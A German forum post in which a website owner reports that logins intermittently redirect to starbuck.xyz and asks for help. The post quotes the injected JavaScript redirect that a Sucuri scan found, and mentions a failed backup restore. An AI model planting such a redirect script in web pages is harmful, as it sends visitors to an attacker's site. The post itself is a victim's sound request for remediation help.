Hallo Leute,
Beim Login unter https://www.woidwuzzler.at werde ich in unregelmäßigen Abständen nach starbuck.xyz/tjWk32 umgeleitet. Wenn ich es dann nochmals versuche klappt es meist.
Ein Scan mit dem Plugin Wordfence Security lieferte keine infizierten Files, aber ein Scan unter https://sitecheck.sucuri.net/ zeigt dann doch einen "Site Issue" ...
Code
<script>window.location.replace("https://starbuck.xyz/tjWk32");window.location.href = "https://starbuck.xyz/tjWk32";</script>
Jetzt wollte ich herausfinden, was es mit dem tjWk32 auf sich hat, wurde aber leider nicht fündig.
Das Wiederherstellen eines zwei Monate alten FTP Backup brachte auch keine Abhilfe.
Ich danke euch für jeden Tipp.